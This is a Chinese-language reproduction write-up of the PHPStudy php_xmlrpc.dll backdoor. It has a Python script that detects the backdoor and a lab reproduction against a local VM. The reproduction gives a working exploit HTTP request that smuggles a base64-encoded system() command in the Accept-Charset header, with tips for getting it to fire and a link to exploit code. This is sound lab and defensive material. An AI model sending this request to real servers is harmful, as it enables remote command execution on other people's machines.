【漏洞復現】PHPStudy後門

0x01 概述

Phpstudy軟件是國內一款免費的PHP調試環境程序集成包,經過集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款軟件一次性安裝,無需配置便可直接安裝使用,具備PHP環境調試和PHP開發功能,在國內有着近百萬PHP語言學習者、開發者用戶php

2018年12月4日,西湖區公安分局網警大隊接報案稱,某公司發現公司內有20餘臺計算機被執行危險命令,疑似遠程控制抓取帳號密碼等計算機數據回傳大量敏感信息。html

經過分析,後門代碼存在於/ext/php_xmlrpc.dll模塊中,用戶能夠經過搜索php_xmlrpc.dll模塊中包含「@eval」關鍵字快速判斷是否存在後門git

附檢測腳本(遞歸檢測當前目錄下的dll文件中是否有相應字符)github

# -*- coding:utf8 -*-

import os
import string
import re

def strings(file) :
    chars = string.printable[:94]
    shortestReturnChar = 4
    regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
    pattern = re.compile(regExp)
    with open(file, 'rb') as f:
        return pattern.findall(f.read())

def grep(lines,pattern):
    for line in lines:
        if pattern in line:
            yield line

def check(filename):
    # trojan feature
    trojan='@eval'
    # just check dll file
    if filename.endswith('.dll'):        
        lines=strings(filename)
        try:
            grep(lines,trojan).next()
        except:
            return
        print '=== {0} ==='.format(filename)
        for line in grep(lines,trojan):
            print line
    pass

def foo():
    # . stand for current directory
    for path, dirs, files in os.walk(".", topdown=False):
        for name in files:
            check(os.path.join(path, name))
        for name in dirs:
            check(os.path.join(path, name))
    pass

if __name__ == '__main__':
    foo()

檢測狀況web

 

目前受影響的版本app

phpstudy 2016版php-5.4學習

phpstudy 2018版php-5.2.17編碼

phpstudy 2018版php-5.4.45spa

0x02 復現

靶機:Windows7 192.168.17.131 (PHPStudy2018)調試

構造EXP數據包

GET / HTTP/1.1
Host: 192.168.17.131
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip,deflate
Accept-Charset: c3lzdGVtKCJuZXQgdXNlciIpOw==
Connection: close

Tips:

1)去掉gzip, deflate中間的空格,變成gzip,deflate
(2)添加Accept-Charset,值爲base64編碼後的值,例如system(「net user」) => c3lzdGVtKCJuZXQgdXNlciIpOw==3)最好請求目標抓包後修改Accept-Encoding和Accept-Charset兩項的值,直接複製數據包修改Host可能不成功

下圖爲執行命令的實際效果

 

 

附EXP:

https://github.com/Any3ite/phpstudy_backdoor

相關文章
相關標籤/搜索